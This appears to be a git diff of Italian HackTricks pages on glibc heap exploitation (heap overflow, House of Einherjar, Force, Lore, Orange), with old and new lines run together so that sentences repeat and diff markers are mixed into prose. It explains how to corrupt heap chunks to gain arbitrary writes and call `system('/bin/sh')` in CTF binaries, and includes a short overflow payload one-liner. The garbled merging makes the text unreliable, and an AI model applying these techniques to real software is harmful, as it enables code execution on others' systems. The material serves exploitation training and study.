Un altro esempio da [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) mostra un esempio molto basilare di un CTF in cui un **heap overflow** può essere abusato per chiamare la funzione vincitrice e **ottenere la flag**. Un altro esempio da [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) mostra un esempio molto basilare di un CTF in cui un **heap overflow** può essere abusato per chiamare la funzione vincitrice e **ottenere la flag**.
@ -48,7 +49,7 @@ Nel [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/prot
### Esempio ARM64 ### Esempio ARM64
Nella pagina [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) è possibile trovare un esempio di heap overflow in cui un comando che verrà eseguito è memorizzato nel chunk successivo rispetto al chunk sovraccaricato. Quindi, è possibile modificare il comando eseguito sovrascribendolo con un exploit semplice come: Nella pagina [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) è possibile trovare un esempio di heap overflow in cui un comando che verrà eseguito è memorizzato nel chunk successivo a quello sovraccaricato. Quindi, è possibile modificare il comando eseguito sovrascribendolo con un exploit semplice come:
```bash ```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
``` ```
@ -56,18 +57,19 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
* [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) * [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
* Utilizziamo una vulnerabilità di Integer Overflow per ottenere un Heap Overflow. * Utilizziamo una vulnerabilità di Integer Overflow per ottenere un Heap Overflow.
* Corrompiamo i puntatori a una funzione all'interno di una `struct` del blocco sovrappiombante per impostare una funzione come `system` ed ottenere l'esecuzione del codice. * Corrompiamo i puntatori a una funzione all'interno di una `struct` del blocco sovraccaricato per impostare una funzione come `system` ed ottenere l'esecuzione del codice.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Casa di Einherjar # Casa di Einherjar
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -44,10 +45,10 @@ Altri modi per supportare HackTricks:
* Poi, `C` viene liberato in modo che si consolidi con il chunk falso `A` * Poi, `C` viene liberato in modo che si consolidi con il chunk falso `A`
* Poi, viene creato un nuovo chunk `D` che inizierà nel chunk falso `A` e coprirà il chunk `B` * Poi, viene creato un nuovo chunk `D` che inizierà nel chunk falso `A` e coprirà il chunk `B`
* La casa di Einherjar finisce qui * La casa di Einherjar finisce qui
* Questo può essere continuato con un attacco fast bin o Tcache poisoning: * Questo può essere continuato con un attacco al fast bin o con l'avvelenamento della Tcache:
* Liberare `B` per aggiungerlo al fast bin / Tcache * Liberare `B` per aggiungerlo al fast bin / Tcache
* Il `fd` di `B` viene sovrascritto facendolo puntare all'indirizzo di destinazione sfruttando il chunk `D` (poiché contiene `B` all'interno)&#x20; * Il `fd` di `B` viene sovrascritto facendolo puntare all'indirizzo di destinazione sfruttando il chunk `D` (poiché contiene `B` all'interno)&#x20;
* Poi, vengono fatti 2 malloc e il secondo sarà **allocare l'indirizzo di destinazione** * Poi, vengono fatti 2 malloc e il secondo sarà **l'allocazione dell'indirizzo di destinazione**
## Riferimenti e altri esempi ## Riferimenti e altri esempi
@ -56,4 +57,19 @@ Altri modi per supportare HackTricks:
* Dopo aver liberato i puntatori, non vengono annullati, quindi è ancora possibile accedere ai loro dati. Pertanto, un chunk viene posizionato nel bin non ordinato e vengono rivelati i puntatori che contiene (fuga di libc) e quindi viene posizionato un nuovo heap nel bin non ordinato e viene rivelato un indirizzo di heap dal puntatore che ottiene. * Dopo aver liberato i puntatori, non vengono annullati, quindi è ancora possibile accedere ai loro dati. Pertanto, un chunk viene posizionato nel bin non ordinato e vengono rivelati i puntatori che contiene (fuga di libc) e quindi viene posizionato un nuovo heap nel bin non ordinato e viene rivelato un indirizzo di heap dal puntatore che ottiene.
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) * [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
* Bug di overflow di byte nullo in `strtok`. * Bug di overflow di byte nullo in `strtok`.
* Usa House of Einherjar per ottenere una situazione di sovrapposizione di chunk e finisci con Tcache poisoning per ottenere un primitivo di scrittura arbitraria. * Usa House of Einherjar per ottenere una situazione di sovrapposizione di chunk e finisci con l'avvelenamento della Tcache per ottenere un primitivo di scrittura arbitraria.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Casa della Forza # House of Force
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -25,7 +26,7 @@ Altri modi per supportare HackTricks:
### Obiettivo ### Obiettivo
* L'obiettivo di questo attacco è quello di poter allocare un chunk in un indirizzo specifico. * L'obiettivo di questo attacco è essere in grado di allocare un chunk in un indirizzo specifico.
### Requisiti ### Requisiti
@ -36,7 +37,7 @@ Altri modi per supportare HackTricks:
Se un attaccante vuole allocare un chunk nell'indirizzo P per sovrascrivere un valore qui. Inizia sovrascrivendo la dimensione del top chunk con `-1` (forse con un overflow). Questo garantisce che malloc non utilizzerà mmap per nessuna allocazione poiché il Top chunk avrà sempre abbastanza spazio. Se un attaccante vuole allocare un chunk nell'indirizzo P per sovrascrivere un valore qui. Inizia sovrascrivendo la dimensione del top chunk con `-1` (forse con un overflow). Questo garantisce che malloc non utilizzerà mmap per nessuna allocazione poiché il Top chunk avrà sempre abbastanza spazio.
Quindi, calcola la distanza tra l'indirizzo del top chunk e lo spazio target da allocare. Questo perché verrà eseguita un'allocazione malloc con quella dimensione per spostare il top chunk in quella posizione. Ecco come la differenza/dimensione può essere facilmente calcolata: Successivamente, calcola la distanza tra l'indirizzo del top chunk e lo spazio target da allocare. Questo perché verrà eseguita un'allocazione malloc con quella dimensione per spostare il top chunk in quella posizione. In questo modo la differenza/dimensione può essere facilmente calcolata:
```c ```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/* /*
@ -62,13 +63,13 @@ Successivamente, eseguire un'altra malloc per ottenere un chunk all'indirizzo ta
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
* L'obiettivo di questo scenario è un ret2win dove è necessario modificare l'indirizzo di una funzione che verrà chiamata dall'indirizzo della funzione ret2win * L'obiettivo di questo scenario è un ret2win dove è necessario modificare l'indirizzo di una funzione che verrà chiamata dall'indirizzo della funzione ret2win
* Il binario ha un overflow che può essere sfruttato per modificare la dimensione del top chunk, che viene modificata in -1 o p64(0xffffffffffffffff) * Il binario ha un overflow che può essere sfruttato per modificare la dimensione del top chunk, che viene modificata in -1 o p64(0xffffffffffffffff)
* Quindi, viene calcolato l'indirizzo del luogo in cui esiste il puntatore da sovrascrivere e la differenza dalla posizione attuale del top chunk a quel punto viene allocata con `malloc` * Quindi, viene calcolato l'indirizzo del luogo in cui esiste il puntatore da sovrascrivere, e la differenza dalla posizione attuale del top chunk a quel punto viene allocata con `malloc`
* Infine viene allocato un nuovo chunk che conterrà questo target desiderato all'interno che viene sovrascritto dalla funzione ret2win * Infine viene allocato un nuovo chunk che conterrà questo target desiderato all'interno che viene sovrascritto dalla funzione ret2win
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp) * [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
* Nel `Input your name:` c'è una vulnerabilità iniziale che consente di ottenere un leak di un indirizzo dall'heap * Nel `Input your name:` c'è una vulnerabilità iniziale che consente di ottenere un leak di un indirizzo dall'heap
* Quindi nelle funzionalità `Org:` e `Host:`, è possibile riempire i 64B del puntatore `s` quando viene richiesto il **nome dell'org**, che nello stack è seguito dall'indirizzo di v2, che è poi seguito dal **nome dell'host** indicato. Poiché poi, strcpy copierà i contenuti di s in un chunk di dimensione 64B, è possibile **sovrascrivere la dimensione del top chunk** con i dati inseriti nel **nome dell'host**. * Poi nelle funzionalità `Org:` e `Host:`, è possibile riempire i 64B del puntatore `s` quando viene richiesto il **nome dell'org**, che nello stack è seguito dall'indirizzo di v2, che è poi seguito dal **nome dell'host** indicato. Poiché poi, strcpy copierà i contenuti di s in un chunk di dimensione 64B, è possibile **sovrascrivere la dimensione del top chunk** con i dati inseriti nel **nome dell'host**.
* Ora che è possibile una scrittura arbitraria, il GOT di `atoi` è stato sovrascritto con l'indirizzo di printf. quindi è possibile ottenere un leak dell'indirizzo di `IO_2_1_stderr` _con_ `%24$p`. E con questo leak di libc è stato possibile sovrascrivere di nuovo il GOT di `atoi` con l'indirizzo di `system` e chiamarlo passando come parametro `/bin/sh` * Ora che è possibile una scrittura arbitraria, il GOT di `atoi` è stato sovrascritto con l'indirizzo di printf. quindi è possibile ottenere il leak dell'indirizzo di `IO_2_1_stderr` _con_ `%24$p`. E con questo leak di libc è stato possibile sovrascrivere di nuovo il GOT di `atoi` con l'indirizzo di `system` e chiamarlo passando come parametro `/bin/sh`
* Un metodo alternativo [proposto in questo altro writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), è sovrascrivere `free` con `puts`, e quindi aggiungere l'indirizzo di `atoi@got`, nel puntatore che verrà successivamente liberato in modo che venga leakato e con questo leak sovrascrivere di nuovo `atoi@got` con `system` e chiamarlo con `/bin/sh`. * Un metodo alternativo [proposto in questo altro writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), è sovrascrivere `free` con `puts`, e quindi aggiungere l'indirizzo di `atoi@got`, nel puntatore che verrà successivamente liberato in modo che venga leakato e con questo leak sovrascrivere di nuovo `atoi@got` con `system` e chiamarlo con `/bin/sh`.
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) * [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
* C'è un UAF che consente di riutilizzare un chunk che è stato liberato senza cancellare il puntatore. Poiché ci sono alcuni metodi di lettura, è possibile ottenere un leak di un indirizzo libc scrivendo un puntatore alla funzione free nel GOT qui e quindi chiamando la funzione di lettura. * C'è un UAF che consente di riutilizzare un chunk che è stato liberato senza cancellare il puntatore. Poiché ci sono alcuni metodi di lettura, è possibile ottenere un leak di un indirizzo libc scrivendo un puntatore alla funzione free nel GOT qui e quindi chiamando la funzione di lettura.
* Quindi, è stato utilizzato House of force (abusando dell'UAF) per sovrascrivere la dimensione dello spazio sinistro con un -1, allocare un chunk abbastanza grande per arrivare al free hook, e quindi allocare un altro chunk che conterrà il free hook. Quindi, scrivere nell'hook l'indirizzo di `system`, scrivere in un chunk `"/bin/sh"` e infine liberare il chunk con quel contenuto di stringa. * Quindi, è stato utilizzato House of force (abusando dell'UAF) per sovrascrivere la dimensione dello spazio sinistro con un -1, allocare un chunk abbastanza grande per arrivare al free hook, e quindi allocare un altro chunk che conterrà il free hook. Quindi, scrivere nel hook l'indirizzo di `system`, scrivere in un chunk `"/bin/sh"` e infine liberare il chunk con quel contenuto di stringa.

View file

@ -1,18 +1,19 @@
# House of Lore | Attacco Small bin # House of Lore | Attacco Small bin
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -21,13 +22,13 @@ Altri modi per supportare HackTricks:
* Controlla quello da [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) * Controlla quello da [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
* Questo non funziona * Questo non funziona
* Oppure: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c) * Oppure: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
* Questo non funziona anche se cerca di aggirare alcuni controlli ottenendo l'errore: `malloc(): unaligned tcache chunk detected` * Anche questo non funziona anche se cerca di aggirare alcuni controlli ottenendo l'errore: `malloc(): unaligned tcache chunk detected`
* Questo esempio funziona ancora: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)&#x20; * Questo esempio funziona ancora: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)&#x20;
### Obiettivo ### Obiettivo
* Inserire un **falso small chunk nel small bin in modo da poterlo allocare**.\ * Inserire un **falso small chunk nel small bin in modo da poterlo allocare**.\
Nota che il small chunk aggiunto è quello falso creato dall'attaccante e non uno falso in una posizione arbitraria. Nota che il piccolo chunk aggiunto è quello falso creato dall'attaccante e non uno falso in una posizione arbitraria.
### Requisiti ### Requisiti
@ -41,8 +42,8 @@ In questo modo sarà possibile allocare `fake0`.
### Attacco ### Attacco
* Viene allocato un small chunk (`legit`), quindi un altro viene allocato per evitare la consolidazione con il top chunk. Successivamente, `legit` viene liberato (spostandolo nell'elenco dei chunk non ordinati) e viene allocato un chunk più grande, **spostando `legit` nel small bin.** * Viene allocato un piccolo chunk (`legit`), quindi un altro viene allocato per evitare la consolidazione con il top chunk. Successivamente, `legit` viene liberato (spostandolo nell'elenco dei chunk non ordinati) e viene allocato un chunk più grande, **spostando `legit` nel small bin.**
* Un attaccante genera un paio di piccoli chunk falsi e crea i collegamenti necessari per aggirare i controlli di integrità: * Un attaccante genera un paio di falsi small chunks e crea i collegamenti necessari per aggirare i controlli di integrità:
* `fake0.bk` -> `fake1` * `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0` * `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (è necessario modificare un puntatore nel chunk del small bin liberato tramite qualche altra vulnerabilità) * `fake0.fd` -> `legit` (è necessario modificare un puntatore nel chunk del small bin liberato tramite qualche altra vulnerabilità)
@ -56,16 +57,17 @@ In questo modo sarà possibile allocare `fake0`.
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore) * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) * [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Casa di Orange # Casa di Orange
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
